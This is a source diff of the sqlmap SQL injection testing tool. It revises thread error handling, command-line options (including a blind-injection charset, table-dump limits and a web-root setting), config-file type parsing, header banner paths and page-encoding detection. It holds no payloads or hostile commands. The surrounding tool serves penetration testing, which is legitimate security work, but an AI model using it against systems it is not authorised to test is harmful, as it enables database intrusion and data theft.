@@ -96,8 +95,8 @@ def exceptionHandledFunction(threadFunction):
|
|||||||
kb.threadException = True
|
kb.threadException = True
|
||||||
raise
|
raise
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
# thread is just going to be silently killed
|
if not silent:
|
||||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
||||||
|
|
||||||
def setDaemon(thread):
|
def setDaemon(thread):
|
||||||
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
|
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
|
||||||
@@ -151,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
thread.start()
|
thread.start()
|
||||||
except ThreadError, ex:
|
except Exception, ex:
|
||||||
errMsg = "error occurred while starting new thread ('%s')" % ex.message
|
errMsg = "error occurred while starting new thread ('%s')" % ex.message
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
break
|
break
|
||||||
@@ -208,7 +207,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
if lock.locked():
|
if lock.locked():
|
||||||
try:
|
try:
|
||||||
lock.release()
|
lock.release()
|
||||||
except thread.error:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if conf.get("hashDB"):
|
if conf.get("hashDB"):
|
||||||
|
|||||||
+43
-23
@@ -31,7 +31,6 @@ from lib.core.settings import BASIC_HELP_ITEMS
|
|||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.shell import clearHistory
|
from lib.core.shell import clearHistory
|
||||||
@@ -48,7 +47,8 @@ def cmdLineParser(argv=None):
|
|||||||
|
|
||||||
checkSystemEncoding()
|
checkSystemEncoding()
|
||||||
|
|
||||||
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||||
|
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
|
||||||
|
|
||||||
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
|
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
|
||||||
"\"%s\"" % _ if " " in _ else _)
|
"\"%s\"" % _ if " " in _ else _)
|
||||||
@@ -149,8 +149,8 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_option("--auth-file", dest="authFile",
|
request.add_option("--auth-file", dest="authFile",
|
||||||
help="HTTP authentication PEM cert/private key file")
|
help="HTTP authentication PEM cert/private key file")
|
||||||
|
|
||||||
request.add_option("--ignore-401", dest="ignore401", action="store_true",
|
request.add_option("--ignore-code", dest="ignoreCode", type="int",
|
||||||
help="Ignore HTTP Error 401 (Unauthorized)")
|
help="Ignore HTTP error code (e.g. 401)")
|
||||||
|
|
||||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||||
help="Ignore system default proxy settings")
|
help="Ignore system default proxy settings")
|
||||||
@@ -321,7 +321,7 @@ def cmdLineParser(argv=None):
|
|||||||
|
|
||||||
detection.add_option("--risk", dest="risk", type="int",
|
detection.add_option("--risk", dest="risk", type="int",
|
||||||
help="Risk of tests to perform (1-3, "
|
help="Risk of tests to perform (1-3, "
|
||||||
"default %d)" % defaults.level)
|
"default %d)" % defaults.risk)
|
||||||
|
|
||||||
detection.add_option("--string", dest="string",
|
detection.add_option("--string", dest="string",
|
||||||
help="String to match when "
|
help="String to match when "
|
||||||
@@ -482,10 +482,10 @@ def cmdLineParser(argv=None):
|
|||||||
help="Use WHERE condition while table dumping")
|
help="Use WHERE condition while table dumping")
|
||||||
|
|
||||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||||
help="First query output entry to retrieve")
|
help="First dump table entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||||
help="Last query output entry to retrieve")
|
help="Last dump table entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--first", dest="firstChar", type="int",
|
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||||
help="First query output word character to retrieve")
|
help="First query output word character to retrieve")
|
||||||
@@ -617,9 +617,6 @@ def cmdLineParser(argv=None):
|
|||||||
general = OptionGroup(parser, "General", "These options can be used "
|
general = OptionGroup(parser, "General", "These options can be used "
|
||||||
"to set some general working parameters")
|
"to set some general working parameters")
|
||||||
|
|
||||||
#general.add_option("-x", dest="xmlFile",
|
|
||||||
# help="Dump the data into an XML file")
|
|
||||||
|
|
||||||
general.add_option("-s", dest="sessionFile",
|
general.add_option("-s", dest="sessionFile",
|
||||||
help="Load session from a stored (.sqlite) file")
|
help="Load session from a stored (.sqlite) file")
|
||||||
|
|
||||||
@@ -634,8 +631,9 @@ def cmdLineParser(argv=None):
|
|||||||
general.add_option("--binary-fields", dest="binaryFields",
|
general.add_option("--binary-fields", dest="binaryFields",
|
||||||
help="Result fields having binary values (e.g. \"digest\")")
|
help="Result fields having binary values (e.g. \"digest\")")
|
||||||
|
|
||||||
general.add_option("--charset", dest="charset",
|
general.add_option("--check-internet", dest="checkInternet",
|
||||||
help="Force character encoding used for data retrieval")
|
action="store_true",
|
||||||
|
help="Check Internet connection before assessing the target")
|
||||||
|
|
||||||
general.add_option("--crawl", dest="crawlDepth", type="int",
|
general.add_option("--crawl", dest="crawlDepth", type="int",
|
||||||
help="Crawl the website starting from the target URL")
|
help="Crawl the website starting from the target URL")
|
||||||
@@ -647,13 +645,18 @@ def cmdLineParser(argv=None):
|
|||||||
help="Delimiting character used in CSV output "
|
help="Delimiting character used in CSV output "
|
||||||
"(default \"%s\")" % defaults.csvDel)
|
"(default \"%s\")" % defaults.csvDel)
|
||||||
|
|
||||||
|
general.add_option("--charset", dest="charset",
|
||||||
|
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
|
||||||
|
|
||||||
general.add_option("--dump-format", dest="dumpFormat",
|
general.add_option("--dump-format", dest="dumpFormat",
|
||||||
help="Format of dumped data (CSV (default), HTML or SQLITE)")
|
help="Format of dumped data (CSV (default), HTML or SQLITE)")
|
||||||
|
|
||||||
|
general.add_option("--encoding", dest="encoding",
|
||||||
|
help="Character encoding used for data retrieval (e.g. GBK)")
|
||||||
|
|
||||||
general.add_option("--eta", dest="eta",
|
general.add_option("--eta", dest="eta",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Display for each output the "
|
help="Display for each output the estimated time of arrival")
|
||||||
"estimated time of arrival")
|
|
||||||
|
|
||||||
general.add_option("--flush-session", dest="flushSession",
|
general.add_option("--flush-session", dest="flushSession",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
@@ -667,6 +670,9 @@ def cmdLineParser(argv=None):
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Ignore query results stored in session file")
|
help="Ignore query results stored in session file")
|
||||||
|
|
||||||
|
general.add_option("--har", dest="harFile",
|
||||||
|
help="Log all HTTP traffic into a HAR file")
|
||||||
|
|
||||||
general.add_option("--hex", dest="hexConvert",
|
general.add_option("--hex", dest="hexConvert",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Use DBMS hex function(s) for data retrieval")
|
help="Use DBMS hex function(s) for data retrieval")
|
||||||
@@ -738,10 +744,6 @@ def cmdLineParser(argv=None):
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Work in offline mode (only use session data)")
|
help="Work in offline mode (only use session data)")
|
||||||
|
|
||||||
miscellaneous.add_option("--page-rank", dest="pageRank",
|
|
||||||
action="store_true",
|
|
||||||
help="Display page rank (PR) for Google dork results")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--purge-output", dest="purgeOutput",
|
miscellaneous.add_option("--purge-output", dest="purgeOutput",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Safely remove all content from output directory")
|
help="Safely remove all content from output directory")
|
||||||
@@ -760,6 +762,9 @@ def cmdLineParser(argv=None):
|
|||||||
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
|
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
|
||||||
help="Local directory for storing temporary files")
|
help="Local directory for storing temporary files")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--web-root", dest="webRoot",
|
||||||
|
help="Web server document root directory (e.g. \"/var/www\")")
|
||||||
|
|
||||||
miscellaneous.add_option("--wizard", dest="wizard",
|
miscellaneous.add_option("--wizard", dest="wizard",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Simple wizard interface for beginner users")
|
help="Simple wizard interface for beginner users")
|
||||||
@@ -771,15 +776,18 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_option("--murphy-rate", dest="murphyRate", type="int",
|
parser.add_option("--murphy-rate", dest="murphyRate", type="int",
|
||||||
help=SUPPRESS_HELP)
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
parser.add_option("--pickled-options", dest="pickledOptions",
|
|
||||||
help=SUPPRESS_HELP)
|
|
||||||
|
|
||||||
parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
|
parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
|
||||||
help=SUPPRESS_HELP)
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
|
parser.add_option("--disable-stats", dest="disableStats", action="store_true",
|
||||||
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
parser.add_option("--profile", dest="profile", action="store_true",
|
parser.add_option("--profile", dest="profile", action="store_true",
|
||||||
help=SUPPRESS_HELP)
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
|
parser.add_option("--force-dbms", dest="forceDbms",
|
||||||
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
parser.add_option("--force-dns", dest="forceDns", action="store_true",
|
parser.add_option("--force-dns", dest="forceDns", action="store_true",
|
||||||
help=SUPPRESS_HELP)
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
@@ -797,6 +805,14 @@ def cmdLineParser(argv=None):
|
|||||||
|
|
||||||
parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP)
|
parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP)
|
||||||
|
|
||||||
|
# API options
|
||||||
|
parser.add_option("--api", dest="api", action="store_true",
|
||||||
|
help=SUPPRESS_HELP)
|
||||||
|
|
||||||
|
parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP)
|
||||||
|
|
||||||
|
parser.add_option("--database", dest="database", help=SUPPRESS_HELP)
|
||||||
|
|
||||||
parser.add_option_group(target)
|
parser.add_option_group(target)
|
||||||
parser.add_option_group(request)
|
parser.add_option_group(request)
|
||||||
parser.add_option_group(optimization)
|
parser.add_option_group(optimization)
|
||||||
@@ -837,8 +853,9 @@ def cmdLineParser(argv=None):
|
|||||||
advancedHelp = True
|
advancedHelp = True
|
||||||
extraHeaders = []
|
extraHeaders = []
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||||
for arg in argv:
|
for arg in argv:
|
||||||
_.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))
|
_.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||||
|
|
||||||
argv = _
|
argv = _
|
||||||
checkDeprecatedOptions(argv)
|
checkDeprecatedOptions(argv)
|
||||||
@@ -900,6 +917,9 @@ def cmdLineParser(argv=None):
|
|||||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||||
|
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||||
|
raise SystemExit
|
||||||
elif re.search(r"\A-\w=.+", argv[i]):
|
elif re.search(r"\A-\w=.+", argv[i]):
|
||||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
@@ -958,7 +978,7 @@ def cmdLineParser(argv=None):
|
|||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
|
||||||
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
|
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
|
||||||
args.purgeOutput, args.pickledOptions, args.sitemapUrl)):
|
args.purgeOutput, args.sitemapUrl)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
|
||||||
errMsg += "use -h for basic or -hh for advanced help\n"
|
errMsg += "use -h for basic or -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
@@ -14,13 +14,14 @@ from lib.core.common import UnicodeRawConfigParser
|
|||||||
from lib.core.data import cmdLineOptions
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import OPTION_TYPE
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
|
|
||||||
config = None
|
config = None
|
||||||
|
|
||||||
def configFileProxy(section, option, boolean=False, integer=False):
|
def configFileProxy(section, option, datatype):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
advanced dictionary.
|
advanced dictionary.
|
||||||
@@ -30,10 +31,12 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
|||||||
|
|
||||||
if config.has_option(section, option):
|
if config.has_option(section, option):
|
||||||
try:
|
try:
|
||||||
if boolean:
|
if datatype == OPTION_TYPE.BOOLEAN:
|
||||||
value = config.getboolean(section, option) if config.get(section, option) else False
|
value = config.getboolean(section, option) if config.get(section, option) else False
|
||||||
elif integer:
|
elif datatype == OPTION_TYPE.INTEGER:
|
||||||
value = config.getint(section, option) if config.get(section, option) else 0
|
value = config.getint(section, option) if config.get(section, option) else 0
|
||||||
|
elif datatype == OPTION_TYPE.FLOAT:
|
||||||
|
value = config.getfloat(section, option) if config.get(section, option) else 0.0
|
||||||
else:
|
else:
|
||||||
value = config.get(section, option)
|
value = config.get(section, option)
|
||||||
except ValueError, ex:
|
except ValueError, ex:
|
||||||
@@ -91,8 +94,4 @@ def configFileParser(configFile):
|
|||||||
for family, optionData in optDict.items():
|
for family, optionData in optDict.items():
|
||||||
for option, datatype in optionData.items():
|
for option, datatype in optionData.items():
|
||||||
datatype = unArrayizeValue(datatype)
|
datatype = unArrayizeValue(datatype)
|
||||||
|
configFileProxy(family, option, datatype)
|
||||||
boolean = datatype == "boolean"
|
|
||||||
integer = datatype == "integer"
|
|
||||||
|
|
||||||
configFileProxy(family, option, boolean, integer)
|
|
||||||
|
|||||||
@@ -23,11 +23,10 @@ def headersParser(headers):
|
|||||||
|
|
||||||
if not kb.headerPaths:
|
if not kb.headerPaths:
|
||||||
kb.headerPaths = {
|
kb.headerPaths = {
|
||||||
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
|
||||||
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||||
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||||
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
|
||||||
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
|
||||||
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||||
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
|
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -41,8 +41,7 @@ def parseSitemap(url, retVal=None):
|
|||||||
if url.endswith(".xml") and "sitemap" in url.lower():
|
if url.endswith(".xml") and "sitemap" in url.lower():
|
||||||
if kb.followSitemapRecursion is None:
|
if kb.followSitemapRecursion is None:
|
||||||
message = "sitemap recursion detected. Do you want to follow? [y/N] "
|
message = "sitemap recursion detected. Do you want to follow? [y/N] "
|
||||||
test = readInput(message, default="N")
|
kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
|
||||||
kb.followSitemapRecursion = test[0] in ("y", "Y")
|
|
||||||
if kb.followSitemapRecursion:
|
if kb.followSitemapRecursion:
|
||||||
parseSitemap(url, retVal)
|
parseSitemap(url, retVal)
|
||||||
else:
|
else:
|
||||||
|
|||||||
+33
-16
@@ -46,7 +46,7 @@ from lib.utils.htmlentities import htmlEntities
|
|||||||
from thirdparty.chardet import detect
|
from thirdparty.chardet import detect
|
||||||
from thirdparty.odict.odict import OrderedDict
|
from thirdparty.odict.odict import OrderedDict
|
||||||
|
|
||||||
def forgeHeaders(items=None):
|
def forgeHeaders(items=None, base=None):
|
||||||
"""
|
"""
|
||||||
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
|
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
|
||||||
the HTTP requests
|
the HTTP requests
|
||||||
@@ -58,7 +58,7 @@ def forgeHeaders(items=None):
|
|||||||
if items[_] is None:
|
if items[_] is None:
|
||||||
del items[_]
|
del items[_]
|
||||||
|
|
||||||
headers = OrderedDict(conf.httpHeaders)
|
headers = OrderedDict(base or conf.httpHeaders)
|
||||||
headers.update(items.items())
|
headers.update(items.items())
|
||||||
|
|
||||||
class _str(str):
|
class _str(str):
|
||||||
@@ -95,16 +95,16 @@ def forgeHeaders(items=None):
|
|||||||
if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
|
if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
|
if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):
|
||||||
if conf.loadCookies:
|
if conf.loadCookies:
|
||||||
conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
|
conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
|
||||||
elif kb.mergeCookies is None:
|
elif kb.mergeCookies is None:
|
||||||
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
|
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
|
||||||
message += "The target URL provided its own cookies within "
|
message += "The target URL provided its own cookies within "
|
||||||
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
|
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
|
||||||
message += "Do you want to merge them in futher requests? [Y/n] "
|
message += "Do you want to merge them in further requests? [Y/n] "
|
||||||
_ = readInput(message, default="Y")
|
|
||||||
kb.mergeCookies = not _ or _[0] in ("y", "Y")
|
kb.mergeCookies = readInput(message, default='Y', boolean=True)
|
||||||
|
|
||||||
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
|
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
|
||||||
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
|
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
|
||||||
@@ -123,7 +123,7 @@ def forgeHeaders(items=None):
|
|||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
def parseResponse(page, headers):
|
def parseResponse(page, headers, status=None):
|
||||||
"""
|
"""
|
||||||
@param page: the page to parse to feed the knowledge base htmlFp
|
@param page: the page to parse to feed the knowledge base htmlFp
|
||||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||||
@@ -135,7 +135,7 @@ def parseResponse(page, headers):
|
|||||||
headersParser(headers)
|
headersParser(headers)
|
||||||
|
|
||||||
if page:
|
if page:
|
||||||
htmlParser(page)
|
htmlParser(page if not status else "%s\n\n%s" % (status, page))
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
def checkCharEncoding(encoding, warn=True):
|
def checkCharEncoding(encoding, warn=True):
|
||||||
@@ -155,7 +155,7 @@ def checkCharEncoding(encoding, warn=True):
|
|||||||
return encoding
|
return encoding
|
||||||
|
|
||||||
# Reference: http://www.destructor.de/charsets/index.htm
|
# Reference: http://www.destructor.de/charsets/index.htm
|
||||||
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
|
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
|
||||||
|
|
||||||
for delimiter in (';', ',', '('):
|
for delimiter in (';', ',', '('):
|
||||||
if delimiter in encoding:
|
if delimiter in encoding:
|
||||||
@@ -168,6 +168,8 @@ def checkCharEncoding(encoding, warn=True):
|
|||||||
encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859
|
encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859
|
||||||
elif "8559" in encoding:
|
elif "8559" in encoding:
|
||||||
encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859
|
encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859
|
||||||
|
elif "8895" in encoding:
|
||||||
|
encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859
|
||||||
elif "5889" in encoding:
|
elif "5889" in encoding:
|
||||||
encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859
|
encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859
|
||||||
elif "5589" in encoding:
|
elif "5589" in encoding:
|
||||||
@@ -202,7 +204,7 @@ def checkCharEncoding(encoding, warn=True):
|
|||||||
# Reference: http://philip.html5.org/data/charsets-2.html
|
# Reference: http://philip.html5.org/data/charsets-2.html
|
||||||
if encoding in translate:
|
if encoding in translate:
|
||||||
encoding = translate[encoding]
|
encoding = translate[encoding]
|
||||||
elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
|
elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# Reference: http://www.iana.org/assignments/character-sets
|
# Reference: http://www.iana.org/assignments/character-sets
|
||||||
@@ -277,7 +279,7 @@ def decodePage(page, contentEncoding, contentType):
|
|||||||
kb.pageCompress = False
|
kb.pageCompress = False
|
||||||
raise SqlmapCompressionException
|
raise SqlmapCompressionException
|
||||||
|
|
||||||
if not conf.charset:
|
if not conf.encoding:
|
||||||
httpCharset, metaCharset = None, None
|
httpCharset, metaCharset = None, None
|
||||||
|
|
||||||
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
|
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
|
||||||
@@ -294,7 +296,7 @@ def decodePage(page, contentEncoding, contentType):
|
|||||||
else:
|
else:
|
||||||
kb.pageEncoding = None
|
kb.pageEncoding = None
|
||||||
else:
|
else:
|
||||||
kb.pageEncoding = conf.charset
|
kb.pageEncoding = conf.encoding
|
||||||
|
|
||||||
# can't do for all responses because we need to support binary files too
|
# can't do for all responses because we need to support binary files too
|
||||||
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
|
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
|
||||||
@@ -314,6 +316,12 @@ def decodePage(page, contentEncoding, contentType):
|
|||||||
page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)
|
page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)
|
||||||
|
|
||||||
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
|
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
|
||||||
|
|
||||||
|
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
|
||||||
|
kb.pageEncoding = "utf-8"
|
||||||
|
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||||
|
page = page[3:]
|
||||||
|
|
||||||
page = getUnicode(page, kb.pageEncoding)
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
|
|
||||||
# e.g. ’…™
|
# e.g. ’…™
|
||||||
@@ -332,12 +340,12 @@ def decodePage(page, contentEncoding, contentType):
|
|||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
def processResponse(page, responseHeaders):
|
def processResponse(page, responseHeaders, status=None):
|
||||||
kb.processResponseCounter += 1
|
kb.processResponseCounter += 1
|
||||||
|
|
||||||
page = page or ""
|
page = page or ""
|
||||||
|
|
||||||
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
|
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)
|
||||||
|
|
||||||
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||||
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
|
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
|
||||||
@@ -360,10 +368,19 @@ def processResponse(page, responseHeaders):
|
|||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
|
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
|
||||||
if readInput(msg, default='N').strip().upper() != 'Y':
|
|
||||||
|
if not readInput(msg, default='N', boolean=True):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
conf.paramDict[PLACE.POST][name] = value
|
conf.paramDict[PLACE.POST][name] = value
|
||||||
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
|
